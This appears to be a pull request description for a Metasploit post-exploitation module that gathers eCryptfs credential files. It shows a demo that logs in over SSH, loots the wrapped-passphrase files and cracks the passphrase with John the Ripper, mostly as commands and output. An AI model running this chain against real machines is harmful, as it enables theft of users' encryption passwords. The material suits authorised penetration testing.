Add information gathering module for eCryptfs

Hi,
 
I have implemented an information gathering module for eCryptfs. It has been tested against Linux.
  
* Setup demo
 
```
✗ cat my.rc 
use auxiliary/scanner/ssh/ssh_login
set PASSWORD test
set RHOSTS 127.0.0.1
set USERNAME test
set ExitOnSession false
exploit
use post/linux/gather/ecryptfs_creds
set SESSION 1
exploit
```
 
* Launch demo
 
```
 ✗ ./msfconsole -r my.rc  
...
[*] 127.0.0.1:22 SSH - [2/2] - Trying: username: 'test' with password: 'test'
[*] Command shell session 1 opened (127.0.0.1:33403 -> 127.0.0.1:22) at 2013-07-28 23:09:45 +0530
[+] 127.0.0.1:22 SSH - [2/2] - Success: 'test':'test' 'uid=1001(test) gid=1001(test) groups=1001(test),984(ecryptfs) ... x86_64 x86_64 x86_64 GNU/Linux '
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (my.rc)> use post/linux/gather/ecryptfs_creds
resource (my.rc)> set SESSION 1
SESSION => 1
resource (my.rc)> exploit
[*] Finding .ecryptfs directories
[*] Looting 1 directories
[*] Downloading /home/test/.ecryptfs/auto-mount -> auto-mount
[+] File stored in: /home/attacker/.msf4/loot/20130728231014_default_127.0.0.1_ecryptfs.automo_408499.txt
...
[*] Downloading /home/test/.ecryptfs/wrapped-passphrase -> wrapped-passphrase
[+] File stored in: /home/attacker/.msf4/loot/20130728231018_default_127.0.0.1_ecryptfs.wrapped_322873.txt
[*] Post module execution completed
```
 
* Build JtR-jumbo (bleeding-jumbo branch) (https://github.com/magnumripper/JohnTheRipper/tree/bleeding-jumbo)

```

$ git clone https://github.com/magnumripper/JohnTheRipper.git -b bleeding-jumbo 

$ cd JohnTheRipper/src

$ make linux-x86-64-native -j 4

```

* Crack "hashes" with JtR-jumbo 
 
```
$ ../run/ecryptfs2john.py (...)ecryptfs.wrapped_322873.txt > hash

$ cat hash
(...)ecryptfs.wrapped_322873.txt:$ecryptfs$0$92dc3db8feaf1676

$ cat dict
openwall

$ ../run/john hash -w=dict
Loaded 1 password hash (eCryptfs [65536x SHA-512])
...
openwall         (...ecryptfs.wrapped_322873.txt)
```

We were able to recover the password "openwall".